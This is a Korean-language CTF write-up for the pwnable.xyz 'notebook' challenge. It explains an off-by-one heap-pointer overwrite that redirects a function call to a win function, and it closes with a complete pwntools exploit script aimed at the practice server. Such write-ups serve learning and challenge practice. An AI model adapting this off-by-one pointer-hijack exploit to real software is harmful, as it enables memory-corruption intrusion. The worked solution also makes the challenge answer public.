[pwnable.xyz] notebook
Pwn/pwnable.xyz

[pwnable.xyz] notebook

반응형
문제 풀이 환경 : Ubuntu 16.04

📝 Analysis


<< Mitigation >>

딱히 특별한 점은 보이지 않는다.

<< Code >>

· main

note 만들기, 수정하기, 삭제하기, 그리고 notebook의 이름 다시 짓기. 이렇게 4가지 기능이 있다.

매번 보던 힙 익스 패턴인가 싶은데 오늘의 주목할 포인트는 거기가 아니다.

4번 메뉴가 이번 익스의 핵심 중 하나다.

 

· readline

delimiter이 나올 때까지, 혹은 size 크기만큼 입력을 받는 함수다.

위 주석에도 표시해놓았듯이 OOB, 그중에서도 Off by 1 취약점이 발생한다.

발생하는 조건은 인자로 넘어온 size 크기를 가득 채워서 보냈을 때다.

 

· make_note

note를 만드는 함수다. 구조는 아래와 같다.

 

· edit_note

ptr 전역 변수에 저장된 값을 기준으로 offset을 탐색하여 func을 부른다든지 해당 위치에 있는 주소를 기준으로 값을 수정한다.

 

✨ Thinking


readline을 이용하면 Off by 1을 이용해서 값을 하나 바꿀 수 있다는 걸 알았다.

이걸 어디에 이용할지 생각해보면 main에 있는 메뉴 4번을 괜히 준 게 아니니 bss 영역에서 nbook 전역 변수에서 0x80만큼 뒤에 있는 ptr을 조작할 수 있다.

그렇게 된다면 edit_note 함수에서 ptr에 저장된 주소를 기준으로 실행되다 보니 내가 원하는 값을 원하는 offset에서 조작할 수 있다.

 

🧩 Exploit Scenario 


1. make_note로 note를 만들어준다.

    이때 title의 payload를 [A * 4] [win 함수 포인터] 로 준다.

2. main의 메뉴 4번에 [A * 0x7f] [덮을 한 바이트값] 으로 nbook 값을 준다.

    맨 마지막 바이트는 ptr의 첫 바이트 하나를 바꾼다.
    바꿀 값은 0x20으로 준다.
    이유는 다음 사진을 보면 알 수 있다.

    0x1b28020 자리에 win 함수의 포인터가 들어가 있을 예정이다.
    edit_note 함수를 보면 ptr에 notebook 청크의 처음 8Byte를 보고 get_size를 호출할 예정이었지만 ptr가 0x1b28010에서 0x1b28020으로 바뀌었기 때문에 win 함수를 호출하게 될 것이다.

    여기서 왜 하필 0x20이냐 다른 값으로 바뀔 수 있는 것 아니냐라고 물을 수 있는데 이 문제를 기준으로 가장 먼저 생기는 청크가 make_note에서 만드는 청크이므로 뒤 1.5Byte는 000으로 고정이다. 그래서 예측이 가능한 것이다.

3. 마지막으로 edit_note 함수를 불러서 win 함수가 호출되도록 한다.

 

🚩 Flag 🚩


from pwn import *
# context.log_level = 'debug'

# p = process('./notebook')
p = remote('svc.pwnable.xyz', 30035)
e = ELF('./notebook')

def make(size, title, note):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'size: ', str(size).encode())
    p.sendlineafter(b'Title: ', title) # 31 Bytes
    p.sendlineafter(b'Note: ', note) # <size> Bytes
    
def edit(note):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'note: ', note)
    
def naming(name):
    p.sendlineafter(b'> ', b'4')
    p.sendafter(b'name: ', name)
    
    
p.sendlineafter(b': ', b'Karatus')
make(0x10, b'babe' + p64(e.sym['win']), b'B')
naming(b'A' * 0x7f + b'\x20')
edit(b'GOT IT')

p.interactive()

 

반응형